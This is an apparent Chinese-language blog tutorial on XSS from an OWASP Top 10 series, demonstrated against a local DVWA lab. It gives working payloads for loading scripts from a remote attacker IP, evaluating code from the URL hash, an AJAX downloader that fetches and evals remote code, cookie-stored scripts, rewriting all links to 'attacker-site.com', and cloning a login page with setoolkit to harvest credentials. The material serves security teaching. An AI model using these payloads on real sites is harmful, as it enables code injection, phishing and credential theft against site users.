文章目录
- OWASP TOP 10
- XSS漏洞
- 一、shellcode的调用
- 1. 远程调用
- 2. windows.location.hash
- 3. XSS Downloader
- 4. 备选存储技术
- 二、XSS漏洞的利用
- 1. 篡改url
- 2. 使用setoolkit克隆网站
OWASP TOP 10
XSS漏洞
一、shellcode的调用
shellcode就是在利用漏洞所执行的代码。完整的XSS攻击,会将shellcode
存放在一定的地方,然后触发漏洞,调用shellcode。
1. 远程调用
这是比较常用的方式。将JS代码单独放在一个js文件中,然后通过http协议远程加载该脚本。
如:<script src="http://IP地址/js文件的路径"></script>
示例:

js脚本内容:
alert('xss');
提交结果:成功执行

2. windows.location.hash
我们也可以使用js中的windows.location.hash方法获取浏览器URL地址栏的XSS代码。
windows.location.hash会获取URL中#和其后面的内容,例如http://domain.com/index.php#hello,windows.location.hash的值就#hello。
所以我们可以构造如下代码:
?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/), 直接提交到测试页面。
- location.hash.substr(1)就是截取#后面的所有内容

3. XSS Downloader
XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页中的XSS代码。
常见的下载器代码:
<script>
function XSS(){
if(window.XMLHttpRequest){
a = new XMLHttpRequest();
}else if(window.ActiveXObject){
a = new ActiveXObject("Microsoft.XMLHTTP");
}else{
return;
}
a.open('get','IP地址+文件路径',false);
a.send();
b = a.responseText;
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexof('|EOF'))));
}
XSS();
</script>
AJAX技术由于会受到同源策略的限制,为解决该问题,需要在服务端代码添加以下内容:
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept');
?>
示例:
服务端代码(xss_downloader.php)为:
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin,X-Requested-With,Content-Type,Accept');
?>
~~~~~~html代码~~~~~~BOF|alert(/XSS/)|EOF~~~~~~html代码~~~~~~

4. 备选存储技术
我们可以把Shellcode存储在客户端的本地域中,比如HTTP Cookie、 Flash共享对象、UserData、localStorage 等。
以HTTP Cookie为例
<meta charset='utf-8'>
<?php
if(setcookie("name","<script>alert(/xss/)</script>")){
echo "<a href='./xss.php' target='_blank'>Cookie-XSS验证</a>";
}else{
echo "设置cookie失败";
}
?>

点击Cookie-XSS验证:

二、XSS漏洞的利用
1. 篡改url
使用js函数:windows.onload
window.onload当窗口加载时,执行匿名函数。使用for循环遍历所有获得的链接a标签,将链接篡改为XSS链接。
<script>
window.onload=function(){
var link=document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href="http://attacker-site.com/";}
}
</script>
反射型示例:所有的链接被替换成我们定义的链接了。

定义的链接可以篡改为指向流量url(刷流量),或者篡改为beef生成的url实施监测。
2. 使用setoolkit克隆网站


选择1

选择2

选择3

选择2,输入想要克隆的url:

我们这里克隆我们本地的DVWA的登录站点:

访问本地IP,登录到DVWA的页面:

将XSS存储跳转克隆网站获取用户名、密码:

存储后它会直接跳转到我们克隆后的url地址,我们在这里登录后,setoolkit工具就会获得你的用户名密码:

最后
以上就是拉长橘子最近收集整理的关于OWASP TOP 10(二)XSS漏洞(shellcode调用方法、XSS的利用)OWASP TOP 10的全部内容,更多相关OWASP内容请搜索靠谱客的其他文章。
发表评论 取消回复